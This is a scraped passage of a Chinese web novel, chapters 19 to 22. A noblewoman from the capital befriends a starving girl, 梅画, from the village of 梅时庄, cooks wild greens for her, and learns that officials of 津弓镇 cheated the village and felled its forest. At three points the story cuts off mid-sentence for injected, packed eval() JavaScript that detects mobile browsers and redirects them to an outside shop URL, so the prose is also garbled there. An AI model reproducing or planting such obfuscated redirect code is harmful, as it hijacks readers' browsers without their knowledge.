掌柜的说过这果子无大碍，只不过酸了些，现下她又琢磨出旁的可能。似是为了验证，苏有青擦了擦那果子，递到了嘴边。 “别。”不知从何处传来一个声音，嘶哑得听不出方向。 似是个人声，含混却又很用力，像是撕开了一块旧布的动静。 “什么人！”快刀一把抽出了腰刀，电光火石间便和包菜背靠背地护住了苏有青。 “再不出来，我可就要出手了！”她继续冷脸喝道。 然而除了三人的呼吸声，四野再没旁的动静，连眼前的杂草都不再摇。 苏有青环视一圈，也没瞧见什么异常，道：“会不会是我们听错了，方才那声音是远些的地方穿来的？” 话毕，苏有青下意识地想将手中的小果往嘴里塞。 “别吃......”这一次，那人声将字句咬得更清楚了些，便也能听出是草里来的声音。 苏有青循声看向一旁，有个黑影从杂草里立了起来，一只手撑在地上，另只手搭在曲着的腿上。 黑影光是清嗓子便费了好大的力气，又一字一顿地，似是想努力将话说得明白些： “呀果不，不吃，吃了要啊的。” 黑影吞吐得很慢，但苏有青还是没听懂这句咿呀。 眼前人身上的衣物沾着泥土与碎草，瞧不出颜色。苏有青没说话，沉静之时起了一阵风，将杂草与袖管扯远。 于是撑地的胳膊被衣袖裹出了形状，纤细得像孩童的肢体。 望着那遮住面颊的散乱长发，苏有青轻声问道：“你是谁？” 19. 红酸果（二） 那人不答，只自顾自地继续说话：“别到这边，不好，快回镇子去。” “怪人”出现得太突兀，苏有青现下反而生不出太多情绪。 顺着那人的话，她镇静地设想。掌柜的说危险，眼前人说不好，可太平盛世里，她待的这片是常年进贡的镇子的边缘，又不是话本子里散着毒雾的沼泽地。 见苏有青手上还攥着那果子，“怪人”继续道：“红果，人不能吃的。我便是吃了红果成这样的。你快走吧。” 多说过几句话后，那人的声音清晰了不少，苏有青便也能听明白了。 可是她还是不明白，这红果怎会让人吃成如此纤弱的模样。 见苏有青还不放下，怪人又说：“你不是津弓镇的人。那边的人是不会来这里摘果子的。” 苏有青终于答了话：“对，我是旁的地方过来玩的。” 那人似有什么动作，胡乱搭在身前的发尾垂了几分，像是在点头。 随即她又起了身，拖着步子朝南边走了。 看着被压倒的一排杂草，苏有青喊住了她：“等一下。你是患病了吗？我有药，也有旁的吃的，你需要什么？” 那人没说话，但也没再往前走。 见她似是被说动了念头，苏有青又道：“我今日没带什么东西出来，再跑一趟又怕是天色将晚。明日，明日还是这个时候，我给你带些吃食吧。” 不知那人是否答应，只是在苏有青说完话后，又抬腿往镇子的反向走了去。 待人走远，苏有青才察出自己的头皮同胸腔一齐狂跳，手脚也是后知后觉地发软。 方才苏有青说话时，包菜便回过了神。 她扶住了自家小姐，压低声音道：“估摸是附近哪个庄子里的流民，小姐别害怕。” 快刀有些奇怪：“如今竟还有流民？主子处理政务时我也偶尔旁听，从未听闻过还有此事。” 何止是时常出入皇子书房的快刀，苏有青通读过整本小说，也没见过流民饿殍之说。 缓过劲后，她道：“猜不透的事，明日再来试着问问，看方才那人愿不愿意说吧。” “我们现下先回去。”苏有青这便准备回客栈了。 正要跟上苏有青，快刀突然想起原本的打算，依然快言快语道：“那，今日还摘果子吗？” 苏有青被快刀提醒到了，便蹲下身扯了几个小果。 见快刀问了句有用的，包菜也跟着发问道：“那，我们要问问镇里人，方才那是什么情况吗？” 苏有青仰头看她，跟看傻子似的：“我们今日在东边的林子里闲聊，没见过任何生人。记住了吗？” - 三人刚兜着红果进了客栈，外面便突然浇起了瓢泼大雨。 “哎呀呀，听这动静，下得真不小呢。谁给天捅破啦？” 掌柜的听到雨声，从柜台后站起了身，想探头看看外面的雨势，却恰好见到了归来的三人：“你们这时间倒是赶巧。没淋着雨吧？” “没呢。”苏有青笑笑，回应了她的关照，便没多闲聊、直接上楼回房了。 房间里，苏有青掰开一个小果，凑到鼻子边闻。完整的果子被皮包住时，只能闻见清新些的草本气，掰开后倒真有股苏有青曾尝过的味道。 她拿来一个盏子，挤出果子中的汁水，又端起盏浅浅抿了一口。 与苏有青所料的一致，这便是后世的毛辣果。至于方才那人所说的不能吃，也不假，这果子实难当成水果直接嚼。 放下小盏，苏有青道：“果然是我以为的那个味道。” 包菜好奇：“好吃吗？” 看了眼剩余的毛辣果，苏有青道：“好吃的。掌柜的说得有些夸张，其实是酸甜口的果子。” “真的？”包菜嘴上是问句，手上却是全然相信主子。她拿起桌上的另一半小果，直接塞进了嘴里。 然后被酸得一激灵，眼与鼻都皱到了一处。 苏有青边乐边给包菜倒了一盏茶。 转眼到了第二日，苏有青依言又去了沙地边。这一次，她在包袱里塞了不少干粮与常用的药草，却没见那到那人了。 包菜问道：“小姐，那人是不是不想要我们的东西啊？” 苏有青道：“或许是有事耽搁了，不过人家昨日本来也没答应。东西先放这里，我们俩先走吧。” 按她的想法，那人看着便是缺衣短食的，何苦要拒绝她们的好意。苏有青担心的是昨日那场倾盆的雨，不知那人可有避雨的地方。 “我们俩？”包菜不解。 - 苏有青与包菜先行回了镇上，快刀是一个时辰后才回来的。她禀报道，过了许久，那怪人才从草地里起身，带着包袱走了。 苏有青了然：“我们明日还去那处。骑马去，多带些东西。” 次日，三人还是踩着时辰到了老地方。这一次，她们刚站定，前面的草丛里便坐起了一个半身，没再躲着。 苏有青猜，一丈开外的人影还是想刻意留些距离，便将包袱搁到地上，又拉着身旁二人后退。 果然，未等她们退太远，那人便走上前来，拖拽着布包的一角，欲往回走。 不知是因包袱太重，还是那人没甚力气，苏有青瞧她连拖行都吃力，没忍住朝前迈过一步。 她还没说话，那人却直接扔了包裹，连连往后挪了好几步。 见她站着不动了，苏有青解释道：“这一包比昨日的要沉些，我帮你拿吧。你要去哪里？” 梅画有些纠结，要不要相信眼前的这个人。 今日的包袱于她而言确实有些重，可那就更不能舍弃了。昨日轻些的包裹里都有不少好东西。 她思忖着对策，或许等这几人离开，她再多走几趟带回家便好了。 未待梅画想出法子，眼前那人又开了口。 她同梅画说道：“我们是京城来的，不是津弓镇的人。你放心，我在这镇子上没有认识的人，也没同任何人说过我瞧见了谁。” 梅画看向那三人，为首的瞧着年纪不大，面色很是温和，衣衫看起来也确实不像是津弓镇的人。 于是待那人再次尝试靠近时，梅画没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这间房不大，两眼便能看遍。苏有青看过面前的吊锅与冰冷的火堆，再看向靠墙床铺上的一团被子，便瞧不出旁的零碎小物都是些什么了。 屋里没窗，门外的光亮照得里头一半刺眼，一半漆黑。 梅画拿来几根黄色木头点燃，又舀了一瓢水到锅里，局促道：“这柴火不行，烧得慢，姑娘多担待。” 苏有青瞧着柴火伸出的那节黄色树皮，有些奇怪，不知这里为何要拿树薯当柴火。 不过或许是旁人的习俗，她也不便多嘴的。 梅画也在吊锅边坐下了。她比在镇子边时要放松不少，道：“我叫梅画。” “很诗情画意的名字。”苏有青说，“我叫有青。有丹青，那便也是画。” 梅画轻笑，说：“我们村的名字也算有诗意，叫做梅时庄。” 随即，她又带些急切地问道：“那果子你没吃吧？昨日见你摘，可吓到我了，生怕你也坏了嗓子。” “坏了嗓子？”苏有青有些疑惑。 20. 蒸苋菜 梅画应道：“是，那果子对人嗓子不好。我前日怕你是要吃，便所言夸张些，说是‘吃了要哑’。” 苏有青想起那日没能听懂的嘲哳声，道：“你的嗓子便是......？” 苏有青不好直言，梅画却自然地接过话茬：“对，我便是被那果子害了。本来庄里就没几个能说话的人，加上嗓子坏了，我的话便越来越少，渐渐的也更含糊不清了。” 苏有青面上道：“没那么夸张，能听懂的。” 心中却是一阵波澜。那果子本身并不害人，怕是梅画长久地缺了营养，才会一时因那毛辣果引出嗓子的毛病。 而后，她又问道：“那酸果子是哪里来的？我仿佛未曾见过。” 梅画解释道：“一个打西边来的外乡行商给的。那商人本说是甜果子，但我们种出的却是酸果子，根本无从入口，只好任那果子自行长了。后来有段时候里，我们庄子实在没东西可吃，便也硬着头皮吃过那果子。” 苏有青点点头，脑子里的不解却更多了。 毛辣果一开始是被庄里人种出来的，可是这边的土地能长出果子，便也当能种活别的庄稼果实。眼前人的模样不像是个懒散的，怎会落得如今这般吃不上饭的境地。 更何况，梅时庄与津弓镇离得不远，且这梅时庄的地势要稍低些，又被四面的山环绕。群山挡了冷风又能留住雨云，本应更宜人也更适合作物才对。 津弓镇的地里能冒出黄薯，那梅时庄也该不遑多让。比如方才来的路上，她就看见了不少野菜。 思及野菜，苏有青记起了路上便想说的话：“这包袱里有些麦子粉和别的干粮，还有黄薯红薯之类能填肚子的吃食。我方才在路上瞧见些野菜，那菜拌上粮食粉，再随便一蒸便是道美味。我来做一些吧？” 梅画想了想，道：“好，辛苦你了。” 锅中的水仍在煮，梅画盛出几杯水，递与苏有青她们：“先喝口热水吧。” 闲聊几句的功夫里，水方烧至温热。苏有青灌下几口，便想抬腿往坡道去。方才她正是在坡道边的犄角里见到的绿叶菜。 梅画也拨弄了几下柴火，站起了身。 看到梅画的动作，苏有青想起什么，先从包袱里找出几个薯放到火堆边，又同梅画道：“平日里生火做饭时，这些薯都可以顺手放边上烤。烤熟后很香的。” 梅画站在屋子阴处，点了点头。苏有青瞧见火光印在梅画的衣裳上，正追着她的脚步跳跃。 步子慢慢踱至坡道边，苏有青附身细看，原来方才匆匆扫过的绿叶是些新嫩苋菜，旁边还有不少长得老高的蕨菜。 她边摘苋菜边念叨道：“这蕨菜虽高，掐起来竟也轻松，不比春日的嫩却也没生得多老。可惜这菜吃多了不好，还是不比苋菜的口感好。” 梅画也缓缓蹲下，照着苏有青手中野菜的模样，在地里找同样的菜：“那种菜我吃过，但总有苦涩味。” 苏有青道：“蕨菜吗？确实如此，料理那菜需先焯过水才好。” 再回到小屋里，梅画打来一盆水，细细掰开洗过每一片叶子，才将余下的工夫留给苏有青。 如苏有青所言，这蒸野菜确实简单。她随意掺了些小麦粉与高粱粉，伸手抖搂了几下装菜的盆，那粉与菜似乎就裹匀了。 “有盐或旁的什么调料吗？”苏有青问。 “有的有的。”梅画本靠墙坐在马扎上，望着有青的熟稔动作出了神，闻言又连忙起身，差点没站稳。 包菜连忙去扶：“小心些，不急。” 梅画摆摆手，另只手撑住了墙：“没事，我一直这样。” 从架子上拿来几个瓶瓶罐罐，梅画道：“这是盐，这是酸汤，这是油壶。” 苏有青先伸手拿起油壶，随即又放下，换成了盐罐，道：“差点忘了，这蒸野菜只需些盐便好，旁的都不用。” 不想一揭盖，那盐罐也一样见了底。 拿出里头的小勺，苏有青在罐底蹭过几下，虚虚地撒在菜叶上，又将盐罐放回了原处：“这样就可以啦。” 又将菜盆摇匀，苏有青望着调料架子下的锅碗瓢盆，瞧着还挺齐全。 “需要什么吗？”梅画问。 “一个蒸笼就好。”苏有青说。 梅画拿出那蒸笼，不想挨到了一手灰。在洗菜的水盆里过遍水后，梅画将那蒸笼递给了苏有青。 苏有青将蒸笼放至吊锅上，将裹好粉与盐的野菜铺到其中，又往旁别搁了几个洗净的小黄薯。 她盖上锅盖，道：“再等一会儿便能吃了。” 几人又一次围坐在吊锅边。许是多聊了几句的缘故，大家都比初到这里时要自然些。 梅画道：“方才我瞧你动作，像是常常下厨的。” 苏有青笑笑：“我也是胡乱做的菜。” 梅画也笑：“太谦虚了。你今年多大？” 苏有青想了想：“再过几月就二十......十八了。” 梅画很是诧异：“二十八？” 苏有青赶忙道：“十八，方才说混了。” 苏有青差点脱口而出了她来到姬朝前的年纪，又匆匆找补成苏有肴的年岁。 说来也巧，她同苏有肴竟是同一天的生辰。 因着不过农历生日，苏有青本不知这般巧合。还是苏诣在过生辰时提过一嘴，让有青别在外面玩太久，好歹赶着秋收的时候回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332129|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家一起过生辰。 都是秋天生的，苏有青再一算身份证上的日期，发现还是同一个农历日子。 梅画点点头：“确实看着不大呢。不过年纪轻轻的，怎还能轻易说错了岁数。” 苏有青问：“你呢？” 梅画低了眼：“我？记不清了，估摸着快二十了吧。” 苏有青说不出话了，只好佯装是在观察树薯烧出的火焰。 余光却仍留在梅画那里，描着她灰扑扑的轮廓，没甚光彩的模样。 方才还在说“年纪轻轻怎好记错岁数”的人，原来也只同苏诣一般大。 苏有青本不是个寡言的人，到了这梅时庄后却总是语塞。 梅画倒无所谓她的沉默，继续说道：“你模样看起来与年岁相当，甚至瞧着更小。应是过得不错，却并不刻薄旁人，和津......和近来我遇到的一些人不同。” “好不好的，都是寻常过日子的。”苏有青局促地搓了搓手，又道，“这锅里仿佛已有香气了，你闻到了吗？” 梅画吸吸鼻子：“闻到了，清香味。” 苏有青欢欣道：“还有下面的烤薯味。马上就可以吃了。” 苏有青觉得梅时庄里应当发生过什么，才会让梅画在姬朝过成乱世时的模样。虽心中有探究之念，但眼下她什么都不想问了，只想先让梅画吃顿饱饭。 锅里上汽已有片刻，苏有青估摸过时间，闻着香气揭开了盖：“好香，应是熟了，快趁热吃。” 梅画抽出几根筷子递给苏有青，又转头去床铺上轻拍了两下：“小梅，起来吧，有东西吃了。” 苏有青又呆了，那团被褥里竟还有个孩子。方才她并未听到半分声息。 瘦瘦小小的孩子，约莫三四岁的模样，口齿倒清晰，学着梅画的话乖巧喊道“有青姐姐好”。 “你也好。”苏有青伸了根指头，算作与她拉拉手。 小孩吃得狼吞虎咽，连扒带抓地往嘴里塞，惊得梅画直拍小梅的后背：“慢点吃，别噎着了。小心烫。” 咽下嘴里的几口，小梅将筷子塞进梅画手中，道：“这个草真的好好吃，不骗人。画姐姐，你也吃。” 接过筷子，梅画尝过一口，道：“好香，有青姑娘的手艺真不错。” “是吧是吧。”久违地尝到美味，小梅高兴得直拍手，“路边草，锅里炒，清甜滋味乐陶陶。” 看着小梅的模样，梅画笑道：“这是有青姐姐做的大餐，我们该说什么？” 小梅答得头头是道：“谢谢有青姐姐，也谢谢这两位姐姐，还要谢谢画姐姐。” 梅画转向苏有青，也俯首作礼道：“今日真是感谢有青姑娘了。” 21. 野葱 苏有青连连摆手：“真是言重了，我也没做什么。” 梅画正色道：“姑娘对我们实有大恩，这两日的包裹里尽是些好东西。” 苏有青很怕这般客套话，赶紧扯开话题道：“小梅方才说的是什么？锅里炒草？” 小梅冲着苏有青咧开嘴笑，又重复了一次：“是‘路边草，锅里炒’。” 望着小梅说话间乱飞的黄发，梅画摸了摸她的脑袋，道：“是我们这边的一句话。那时候小梅还小，不爱吃饭，村里的读书人便编了几句俏皮话哄她。” 觉出梅画的动作，小梅又转过头来朝画姐姐笑。梅画温和道：“再吃几口？” “我已经吃饱啦。”小梅道。 “吃饱便好。”梅画依言放下筷子，也不吃了，转而从锅中舀起一杯热水，探出杯壁的温热后便一口灌下。 见梅画连喝好几杯水，苏有青心念，看来当时是真伤透了嗓子，现下估摸犯了干痒难耐之症，只好心急得直接喝那蒸菜余下的水了。 梅画瞧有青姑娘似是想事想出了神，招呼她道：“不尝尝自己的手艺吗？” 苏有青这才反应过来自己手中还握着几根筷子，是方才开锅前梅画递给她的。 苏有青将筷子架到锅边，道：“我这几日肠胃不适，吃不下什么东西。” 梅画又转了视线：“那......” 见她似又要问询包菜与快刀，苏有青打岔道：“我方才看外面还有些人，要给他们送点吃的吗？” 梅画心中早有打算。她拿过一旁的黑漆小碗，夹出几口，道：“我去送给他们，你在这里坐一会儿。” “我去我去。”小梅很是踊跃，说着便要夺过那小碗。 “小心些。”梅画在后头喊。 “知道啦，我可不是小孩子了。”扶着门框，小梅小心翼翼地迈出了门槛。 看着离开的背影与瞧不出形制的衣裳，苏有青道：“妹妹真是懂事。” 梅画习以为常道：“我们这种人家，再不懂事的孩子也能明了些事理。” 送过包袱又做了菜，再多闲聊过几句，苏有青便不好在旁人家中久留了。她望着天色道：“我回客栈还有些事，现下是告辞的时候了。今日我与你聊得很融洽，下次见。” “今日真是麻烦姑娘了。”梅画起身，道，“我送你们。” 苏有青却拦住了她的动作，道：“今日本就是我们耽搁了你的时间，你若再相送，我可要不好意思了。” “分明是姑娘发了善心，何来‘耽搁’一说。”梅画笑道。 但她心中知晓这有青姑娘的好意，便也作罢。 行至津弓镇边上，包菜呼了口长气：“这样的庄子，我只在年幼时见过。小姐应当是头一次见？面上倒不显讶异。” “是。”苏有青闷声道。 算上两世的见识，她都是第一次直白地看到如此情形。 “瞧着像是饿了许久的模样，家中也没什么值钱物件，却又收捡得齐整。”快刀思索道，“真不知为何会过成这般光景。” 包菜也附和：“是啊。说来小姐明日还来这边吗？” “隔上几日吧。”苏有青说，“整日跑去旁人家中也不好。” 话虽如此，再在镇上闲逛时，苏有青总要去看小摊上的七巧板和布老虎，想着小梅会不会喜欢。 又断断续续去过几次梅时庄，除了镇上随心意买的小玩意儿，苏有青每次都会带上大包的干粮与布匹，再做些新鲜吃食。 渐渐的，她与梅画聊得越来越多，小梅也不再常躺榻上。 说过的话愈多，苏有青心中的疑虑便也愈重。 几番交流下，她分明觉得梅画虽少几分对生活的希冀，却并不缺勤恳的心思。 梅画的日子本不至此，言辞间的语气却似不愿说出个缘由，苏有青只好暗里胡乱猜测。 首先排除种不出庄稼的缘故，苏有青想。 梅时庄的地不能算贫瘠，来往的这些日子里，她还亲见着几株野葱长了出来。 她指着那野葱，同小梅道：“认识这种草吗？” 小梅道：“不认识。它好吃吗？” 苏有青揽过她：“这个确实好吃。它叫野葱，用来炒鸡蛋可香了。” 小梅兴奋道：“我知道！我吃过鸡蛋！” 苏有青被这反应逗笑，问：“那野葱炒肉吃不吃呀？” “肉是什么味道呀？”小梅歪头问道。 苏有青有些诧异。这几日送来的包袱里，她都塞了不少肉干。 她还没想出周全些的答话，一旁的梅画便道：“她现下是换牙的时候，不适合嚼肉干。” 苏有青恍然大悟，转头同梅画解释道：“是我欠了思虑，只顾着能久搁，便没再装软和些的肉。我本也想过带些......” 话至一半，苏有青突然不说了，又转回来与小梅说道：“那我明日多带些肉来好不好？” 梅画家的锅灶不太适合正经做菜，苏有青便想过带几盘烧好的精致菜来。只是再一想，她们现下来梅时庄都是骑马，本就需避着些镇上的人。若是再点上几盘菜、又拿那食盒装着，怕是太过惹眼。 虽不知何故，但苏有青能察觉出，梅画似乎有些介意津弓镇的人。她未曾同苏有青抱怨过什么，不过好几次有青提及镇子时，梅画都会刻意略过不谈。 几次之后，苏有青便也不提了。 听苏有青这么一说，小梅顾不上本来的疑问，忙高兴道：“太好啦！我要有肉吃了！” 梅画也轻笑，道：“说‘谢谢姐姐’了没有？” 然而送有青离开时，梅画却又换了口风。 她掩上房门，跟着苏有青三人往外走了几步。 苏有青正欲说句“留步”，梅画先开了口：“今日既已应过孩子便算了，但还请有青姑娘别再说这样的话。” 苏有青明白应下的是哪件事，却不明白梅画何出此言：“为什么？” 梅画低声道：“我知道姑娘好心，是难得的大善人，但也不能一直让你这样白送。那都是些值钱的东西，我看得出。本是担不起姑娘这般厚重之礼，只是村里好几张吃饭的嘴，粮食也实在是紧缺，我才只好收下用着，却并不心安。” 苏有青匆忙道：“不必不安......” 梅画没理会，继续说完：“可那些吃喝用度的东西不是凭空来的，都是辛苦赚来的银两买下的。何况姑娘也总归要回自己家。” 苏有青又道：“即便我回家，我也可以派人......” 梅画摇摇头：“我相信。有青姑娘瞧着便是尊贵之人，见到我们这种人家本是意外，我心中有数。但这都不是长久之计。说回今日的话，我也怕小梅吃惯了好东西，便过不了从前的日子了。” 怕苏有青仍要为自家谋划，梅画干脆地说：“姑娘是思虑周全之人，你能明白我的意思。今日便叙到这儿吧。” 见梅画已走远，快刀低声道：“我方才听小梅同梅姑娘说悄悄话，问换牙是什么意思。” 苏有青本还在原地站着，闻言长叹了一口气：“走吧，回客栈。” 牵着马，苏有青回头看了眼，同靠在门框边的人挥了挥手。 再跨上马背时，她咕哝道：“我就说怎么这些日子瞧着也没多大变化。” 苏有青本就奇怪，这些日子以来，小梅瞧着是精神了些，梅画的蹒跚脚步却和初见时没多少区别。原来是舍不得吃肉，无法健体。 苏有青心中盘算，梅画看着和和气气的，却是个坚定性子，说过的话不大能改口。 好在这次还留住一个话口，趁着嘴快答应了小梅的机会，她明日定要在包袱里塞满卤肉烧肉白切肉，将包裹塞得鼓鼓囊囊。 - 吩咐快刀将马牵去马厩、被问起便说是赛马去了后，苏有青踏进了客栈厅堂。 “回来啦。”掌柜的正在柜台后打算盘。 “是呢。”苏有青本没了闲聊的心思，却突然冒出念头，驻足问掌柜的道，“咱们镇子上哪些酒家做菜格外好吃？” “当然是我们家呀。”掌柜的先是直拍胸脯，“若是吃腻了我家厨司的手艺，转条街有家味道不错的，叫作‘津弓酒家’。” “钱老板，你的信。” 不待苏有青细问过特色菜，客栈里进了个人，将一张带着封泥的信封搁到了柜面上。 “太谢谢了。”掌柜的赶忙给捎信的人塞了些银两，又随口问道，“这次的信怎比前两月要快些？” 捎信的道：“嗨，这个月一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我不是这个意思。”苏有青也有些急了，“你们平日里不烧火？那要怎么生活？” 眼前人急切，梅画反而说得平静：“胡乱过活罢了，我们早已习惯如此。” 忆起梅画吃过两口便放下的筷子、闲聊间总在舀水的杯子，苏有青不明白，一个会烧水待客、言辞有礼的人，怎会惯于挨饿，又怎会情愿与冷锅冷灶作伴。 压下翻涌的思绪，苏有青问：“习惯了，便没动过改变的念头吗？” 梅画还是轻描淡写道：“变不了。我知道姑娘是好心人，但没法子的。” 苏有青不懂：“为什么变不了？这里有野菜，有水源，有火种，有什么不能变好的？” 梅画失笑：“有火种有什么用。” 苏有青素不爱说鸡汤话，这时候却也鼓舞道：“有火种就有希望，总能吃饱饭的。” 梅画道：“光有火种，却没有能持续添进去的木头，那火便也是烧不久的。” 见苏有青面上的茫然愈深，梅画叹了口气。 她心知苏有青不会轻易放弃梅时庄，总要说出点什么才行，便从头解释道：“我们长久地挨饿，是从失了力气开始的。” 苏有青又有了新的疑惑：“吃喝又需费多少气力？” “可不是什么菜都能生吃的。”梅画又叹了一口气。 时日太久，她有些不知从何说起。 扯来一个马扎坐下，梅画打量一圈屋中，似是起了个风马牛不相及的头：“你知道我们这里的门为什么都漏了缝吗？” 不待苏有青反问，梅画继续道：“我们没有柴火。之前实在烧不起火时，便只好从自家门上砍些碎木来接应。若非是怕家没个家的模样，这木门早就没了。” 苏有青问：“前面镇上不是有不少林子，不能去拾柴火吗？” 梅画道：“那都不是我们的。” 苏有青不解：“都是四里八乡的乡民，你们这边既如此紧缺木头，他们也不愿通融一下吗？” “我们这种地方，好心是没好报的。再者说，我们这里的林子以前也不少，后来......” 梅画似是在回忆。 “后来呢？”苏有青追问。 梅画道：“后来，我们的林子都被他们砍了。” 22. 烧树薯 “他们是谁？” “你方才说的前面镇子，津弓镇上的人。” 梅画说，梅时庄以前多生松树，她们还常能捡着松果吃。后来，那些树被津弓镇的人砍尽，她们便失了柴火。 原先还能捡些散落的细枝应付，后来就只剩草皮可烧了。 “他们为什么要来砍你们的树？不是自己盛产檀树吗？那檀木还顶着好到连年进贡的名头。”苏有青试着捋出个因果。 梅画一脸的意料之中，说出口的却都是在苏有青意料之外的话：“津弓镇上早便没长成型的树了，这么多年都是用旁的村里种的树应付京城那边的。早年我们庄子便是其中一个。” 怕苏有青不信，她又细致道：“普通些的檀树尚需数十年成材，何况是上好的。津弓镇的人起初试着将那些木材送进宫中，后又听闻圣上果真喜欢。为了显得一心敬奉圣上，他们便越送越多，没两年便砍完了自家的树。” 一时的急切后，津弓镇众人剩下的便是青黄不接的小树苗。怕往后的年岁供不上进京的木材，他们便找方圆的村子收购，用松木充数上贡。 说到后面，梅画有些好笑：“不过他们倒也不亏，尽管是松木也换得了不少赏赐回来。就是不知那皇帝何时才会发现端倪。” 这话有些奇怪，苏有青想。 不说加工处理后的木材纹理，檀木与松木光是气味便差了去了，怎能轻易躲过宫廷众人的眼睛。 但她不愿打断梅画的思绪，便顺着话问道：“既是收购，他们以何价带走的松木？” 不知苏有青与津弓镇众人处得如何，梅画便想委婉些：“起初报的是低价。” 苏有青现下不好猜走向了。 若是在初来姬朝的日子里，她听过这话指不定还要感慨，说镇上人还算有心，得了赏赐后还知道提价。 如今，苏有青只一板一眼地发问：“后来呢？” 梅画说，镇上第一年虽将价格压得低些，却至少是直接付够了数的。 到了第二年，津弓镇提了价格，但先只给其中一半、要等赏赐下来才能归还余下的款额。 再然后，便没有第三年了。 梅画忆起津弓镇那知镇的模样。瞧着文质彬彬的，说起话来却是连哭带嚎。 村长起初欲回绝知镇的请求，知镇却连往地上跪，被村长夫婿扶起后又干脆往地上一赖，说他们若是交不上木头便真没法活了。 彼时方十岁出头的梅画与小伙伴躲在门后，你一眼我一语地讨论着。 “这么大的人，怎么还在地上赖坐着。” “就是就是，我娘打我时我都没哭得这么大声。” “真是不知羞啊。” 梅时庄的村长惯是个性子直的，见不得有人哭诉成这样，只好硬着头皮答应了津弓镇的知镇，收下了那点碎银。 而第二年，这样的戏码又上演了一次。 那知镇信誓旦旦道：“便如我们去年的买卖一样，今年的价格还要多出两成呢。只不过眼下咱们镇也没余钱，只能等得了陛下的赏赐方能还上。再不然，我们还是按去年的价？” 拖延了好几月、终于补上余款后，再一年朝贺前，这句话便成了：“如同去年一样，还要多出一成，不过要待进京的车队回来才能付。” “那一年开始，便再没还过钱了？”苏有青轻声道。 “是。”梅画也轻轻颤出一个音节。 苏有青有些不服：“那知镇用你们的木头得了赏赐，你们却什么都没拿到？” 屋里一时静得只余呼吸声。苏有青自知问了句空有情绪的废话，又转言道：“再往后呢，如今一棵树都不剩的日子是怎么来的？” 往事说来倒也不复杂，梅画先是一言以蔽之：“打架没打过。” - 梅时庄虽说多生松树，庄子却也不是落在深山老林里，到底只是不多不少的量。而按津弓镇无节度的砍伐，三次过后，梅时庄便少了大半片林子。 茶余饭后里，村长同人闲谈时便提到，这松林不能再少了，更不可能让津弓镇的人买走第四次了。 毕竟林子砍倒很快，长起来却要很久。 还是那一年，津弓镇的车队载着大把的赏赐回镇，却迟迟不来梅时庄还钱。 村长同旧年一般，找上知镇家的门去，却一次两次的被搪塞“再等等”。 然而再等过一段时候，知镇家的态度却越来越吊儿郎当。 村长有样学样，如同津弓人最初请求时那般陈情，说庄里人家都吃不上饭了，还说庄里生活本就倚着松果松木，要用它们同周围的乡邻们换油与布的。 这话比知镇当年的哭号要真得多，知镇却无谓道：“你再说理也没用，不是我不愿还，而是我们家真没钱了。” 村长不满知镇语气中的敷衍，却只能一时忍让道：“那圣上赏赐的金银呢？” 知镇说得一本正经：“何来赏赐？你瞧我这家中，有值钱的东西吗？我自家都要穷得吃不起饭了！” 村长本是亲眼见过返镇的车队的，便也不想与这泼皮再多拉扯。 带着些愠怒，她直言道：“你如今不还钱，明年可就别想再买我们村的树了。” 知镇还是那态度，仿佛三年前苦苦哀求的人不是他：“随便，你们不卖我也自有旁的法子买。” “欠钱不还的东西，我看谁还敢卖你！” 那知镇话里话外都是铁了心要赖账，村长一肚子火也无法，只好丢下这么句话后边离开了。 并非是好脾气，只是村长念着附近村也没甚好树，那知镇早晚还得求上梅时庄，便也迟早要还钱的。 没料到那知镇真有法子，只不过不是买卖。 他做足了准备，带上大把的人手与工具，趁着夜黑风高，来梅时庄偷偷砍伐。 梅画当时睡眼惺忪，不知发生何事，只是夜半被那动静吵醒了。 她揉揉眼，问大人外面怎么这么吵。 大人没顾得上理她，只是再细听过声响后便匆匆披衣挑灯，出门找人理论去了。 又是一阵吵架与木头碰撞的声音，最后，梅画爹脑门上顶着个血窟窿回来了。 娘给爹包扎时，梅画才听明白，屋外吵闹的人便是她前两年见过的那个好哭佬。 娘还念叨道，都怪她大意了。 原来是那次同村里人闲聊时，有个爱去津弓镇的人也听到了。 那人一向不乐意自己被生在梅时庄这么个小村里，却又没个真本领，无法在哪个城镇立足，便整日里往津弓镇跑。 听到村长抱怨、说不会再有下一次卖树后，那人便转头去和知镇通风报信，好叫知镇能赏识他，给他在镇上寻碗饭吃。 也因此，知镇早就绝了还钱的心思。 深夜打架没能打过津弓，反而叫梅时庄失了更多的树。 再后来，发生了些旁的事，镇上人又来了一趟，将剩的松木全都砍尽，只余下些懒得挖走的树桩。 那树桩倒让梅时庄人多过了一段正常日子。 - “从那以后，日子便都不好过了。”说话间，梅画虚虚地捏着拳头。 苏有青忆起津弓镇周遭的林子，虽现下低矮，却也算得上密集，想来从前的林子也有那样多的树。 又回想过镇上人如今的张扬日子，她道：“可他们不像是缺木头的模样。且按你所说，这附近并无旁的村子还余好木头，可那镇子这几年仍有进贡。” “你说得都对。”梅画道。 她也是后来才知道这事的。 那次是娘死了，知镇装模作样地抬来口棺木。 棺木被抬到屋前，搁下时扬了一地的灰。 